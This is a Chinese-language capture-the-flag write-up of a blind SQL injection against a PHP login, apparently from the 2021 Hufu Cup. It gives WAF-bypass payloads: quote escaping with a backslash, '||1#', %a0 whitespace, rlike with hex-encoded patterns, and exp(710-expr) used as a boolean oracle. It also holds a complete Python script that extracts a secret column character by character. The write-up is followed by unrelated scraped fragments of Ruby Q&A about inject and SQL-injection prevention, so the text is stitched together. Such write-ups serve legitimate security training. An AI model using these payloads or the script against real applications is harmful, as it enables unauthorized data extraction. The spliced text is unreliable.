今天遇到个有意思的SQL盲注,花了不少功夫,也学到了新姿势,遂记录下来以备后续碰到相同场景使用。
这是2021 虎符杯的一道web题,有一个目标站点且附带了源码。
源码内容包括:

主要逻辑在login.php 与config.php,删去多余代码,主要功能在登陆上。
前端登录表单会发送给login.php处理:

然后所有的post参数会交给config.php 中的array_waf去做处理.

array_waf 是一个递归检测的waf,检测是否包含sql_waf 和 num_waf 在内的规则,符合规则直接退出。
经过检测后会进入config.php 中的login函数进行数据库查询。

可以看到login函数直接将参数拼接到了sql语句上,很明显的sql注入,且返回只有error、success、fail状态。 success的状态下会进入home.php 拿到flag。

拿到题目,逻辑比较清晰,绕过waf进行sql注入,按照原始的登陆逻辑,我们需要知道正确的username、password以及code值,通过sql注入绕过用户名及密码检测逻辑及知道code值。

$sql = "select * from users where username='$username' and password='$password'";
$res = $this->conn->query($sql);

根据这个sql拼接的方式绕过账密检测还是很简单的,因为sql_waf中限制',所以下面的payload就可以绕过账密检测。
username=admin\
password=||1#
select * from users where username='admin\' and password='||1#'

因为在login逻辑中有对code值进行单独校验的部分,所以我们还需要利用上面的sql注入注出code的具体值。因为返回只有login fail、error两个结果,所以是个布尔盲注。
但盲注的大部分关键词都被waf限制,所以关键点就是绕waf。
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
重点来看下sql_waf, 因为返回的内容有限,所以只能使用布尔盲注,而盲注通常会用到几个关键关键字:字符串截取类(substr、left、right、mid)、条件判断类(if)、语句分割类(空格、/**/)、逻辑运算类(and、or)。
一个盲注的payload: if(substr(database(),1,1)="t",1,0);
但很遗憾waf里面基本这些常用的都被禁用了,所以只能分别寻求替代。
禁用:substr、left、right、mid
绕过: like、rlike、inst
除开上面这些其实还可以使用 like、rlike、instr等
其中like与rlike的区别是 rlike支持正则表达式而like只支持如%,_等有限的通配符,like可以近似于"="
禁用: 空格、\r(%0d)、\n(%0a)、\t(%09)\、/**/
语句之间分割常常使用空格
绕过: %a0( )、%0b(垂直制表符)、%0c(换页符)
禁用: and、or、=、>、<、regexp
绕过: &&、||、 like、greatest、least
禁用: 因为禁用了,,所以if 语句没发使用
绕过: exp
EXP函数(本篇文章精髓)
这里重点其实就是exp函数,在sql注入里面exp函数一般被用做报错注入(mysql<5.5.53)里面输出报错信息。
如:
select exp(~(select*from(select user())x))

利用的是Double 溢出,exp(x) 含义为ex ,当x>709时就超过了double的取值范围造成报错。:

而例子中把字查询按位取反就能得到远大于709的值,报错就会把子查询内容显出出来。
其实除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句。
select exp(710 - expr)
在上面sql语句中 expr 若为 true 等价于0 则 语句就会报错(exp(710)),若expr 为false 等价于0 则语句正常执行。
有了前面所有的绕过,就能构造语句进行code值注入了。
||exp(710-((length(code))like({x})))
||exp(710-((code)rlike(0x{reg_str})))#
因为' 被过滤,所以rlike后面不能出现字符串,需要 将正则表达式 ^xxx 转换成十六进制。

这里面还有一个坑,num_waf 有个判断十六进制位数不能超过9位,既字符串不能超过4位,所以在包含正则^以外的字符串超过3位时需要 不断做替换,用3位字符串去匹配下一位。
逻辑很简单,需要花点心思去编码,
如果有waf 限制了if 的使用,特殊情况下可以考虑通过exp函数来绕过。

"""
ctfhub hatenum 盲注脚本
"""
import requests
from loguru import logger
target = "http://challenge-732f479a63a3f952.sandbox.ctfhub.com:10800/login.php"
s = requests.session()
code_column_length = 0
def guess_length():
"""
猜解 code 字段长度
:return:
"""
global code_column_length
for x in range(1, 100):
payload = f"||exp(710-((length(code))like({x})))#"
if my_request(payload_tamper(payload)):
code_column_length = x
break
logger.info(f"code的长度为:{code_column_length}")
def guess_code_str():
"""
实际猜解 code 字符串内容
:return:
"""
code_str = ""
tmp_str = ""
waf = False
for line_index in range(code_column_length):
logger.info(f"{line_index} - tmp_str - {tmp_str}")
if len(tmp_str) > 2:
logger.debug("超长了")
logger.debug(f"压缩前 {tmp_str}")
tmp_str = tmp_str[len(tmp_str)-2:]
logger.debug(f"压缩后 {tmp_str}")
waf = True
for x in range(48, 128):
if x in [63, 95, 124]:
continue
o_str = f"^{tmp_str}{chr(x)}"
if waf:
o_str = f"{tmp_str}{chr(x)}"
reg_str = o_str.encode().hex()
logger.debug(f"{x}-{chr(x)}-{o_str}")
payload = f"||exp(710-((code)rlike(0x{reg_str})))#"
if my_request(payload_tamper(payload)):
tmp_str += chr(x)
code_str += chr(x)
logger.info(code_str)
break
logger.info(code_str)
def response_check(rs):
"""
布尔 banner 判断
:param rs:
:return:
"""
logger.debug(rs.text)
if "error" in rs.text:
return False
elif "detected" in rs.text:
logger.error(rs.text)
exit("waf")
return True
def payload_tamper(payload: str):
"""绕过过滤"""
return payload
# return payload.replace(" ", "%a0")
def my_request(password):
"""请求封装"""
logger.debug(f"payload:{password}")
username = "admin\\"
code = "1"
p_data = gen_post_data(username, password, code)
rs = s.post(url=target, data=p_data, headers={'Content-Type': "application/x-www-form-urlencoded"}
, proxies={"http": "http://127.0.0.1:8088"}, allow_redirects=False)
if response_check(rs):
return True
return False
def gen_post_data(username, password, code):
"""post 内容组装"""
data = dict()
data["username"] = username
data["password"] = password
data["code"] = code
# 手动构造避免自动 urlencode
return f"username={username}&password={password}&code={code}"
def run():
guess_length() # 先猜测code长度
guess_code_str() # 根据长度猜测内容
if __name__ == '__main__':
run()
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!

我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject
在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这
为什么下面的代码会报错?['hello','stack','overflow'].inject{|memo,s|memo+s.length}TypeError:can'tconvertFixnumintoStringfrom(irb):2:in`+'from(irb):2:in`blockinirb_binding'from(irb):2:in`each'from(irb):2:in`inject'from(irb):2如果传递了初始值,它就可以正常工作:['hello','stack','overflow'].inject(0){|memo,s|memo+s.length}=>18
出于好奇,为什么在注入(inject)/归约方法中将累加器称为memo?它的命名背后有什么背景/历史吗?它实际上是指“备忘录”还是备忘录代表什么?http://ruby-doc.org/core-2.0/Enumerable.html#method-i-injecthttp://ruby-doc.org/core-2.0/Enumerable.html#method-i-reduce 最佳答案 “memo”表示在内存中,注入(inject)在整个迭代过程中使用来保存中间对象状态,以便在下一次迭代中使用它。
我正在开发一个Rails引擎,我正在尝试编写一个生成器来放置这条线do_stuff(foo)作为config/routes.rb中的最后一条语句,不破坏文件语法。具体来说,如果我的config/routes.rb目前看起来像这样Rails.application.routes.drawdoblahmoreblahend运行生成器后,我希望config/routes.rb看起来像这样Rails.application.routes.drawdoblahmoreblahdo_stuff(foo)#injectedlineend我看了看什么ActiveAdmindoes,但无法创建一揽子最后
我有一个注入(inject)电话[2,4,6].inject(true){|res,val|res&&val%2==0}并希望发送&&运算符以注入(inject)inject(0,:+)。我该怎么做? 最佳答案 你不能因为&&和||,与其他运算符不同,不是方法的语法糖(即没有称为&&或||的方法),因此您不能使用符号引用它们。但是您可以避免使用inject计算bool值数组的逻辑合取或析取,将其替换为all?或any?分别是因为对于任何数组都满足以下条件:ary.inject(true){|res,b|res&&b}==ary.al
我想获取inject的每个值。例如[1,2,3].inject(3){|sum,num|sum+num}返回9,我想获取循环的所有值。我尝试了[1,2,3].inject(3).map{|sum,num|sum+num},但没有成功。我写的代码是这样的,但是我觉得是多余的。a=[1,2,3]result=[]a.inject(3)do|sum,num|v=sum+numresult[4,6,9]有没有办法同时使用inject和map? 最佳答案 使用专用的Eumerator非常适合这里,但我会为此展示更通用的方法:[1,2,3].i
中国民用飞机制造行业市场现状规模及发展战略规划报告2021-2027年详情内容请咨询鸿晟信合研究院!【全新修订】:2022年2月【撰写单位】:鸿晟信合研究研究【报告目录】第1章:中国民用飞机制造行业发展综述1.1民用飞机制造行业概述1.1.1民用飞机的概念1.1.2飞机制造的概念1.1.3民用飞机的分类1.2民机制造行业周期特性1.2.1影响行业周期的因素(1)GDP增速分析(2)运量增量分析(3)飞机更替分析(4)航空公司获利水平1.2.2行业现阶段周期分析1.2.3行业现阶段景气分析1.3民机制造信息化分析1.3.1信息化技术应用状况分析(1)MDO技术应用分析(2)供应链协同研发分析(3
当我多年前开始编写Ruby时,我花了一段时间才理解each之间的区别。和map.当我发现所有其他的时,情况只会变得更糟Enumerable和Array方法。借助官方文档和manyStackOverflowquestions,我慢慢开始明白那些方法做了什么。不过,这是我花了更长时间才理解的内容:我为什么要使用一种或另一种方法?有任何指导方针吗?我希望这个问题不会重复:我对“为什么?”更感兴趣。比“什么?”或“如何?”,我认为它可以帮助Ruby新手。 最佳答案 一个更tl;dr的答案:Howtochoosebetweeneach,map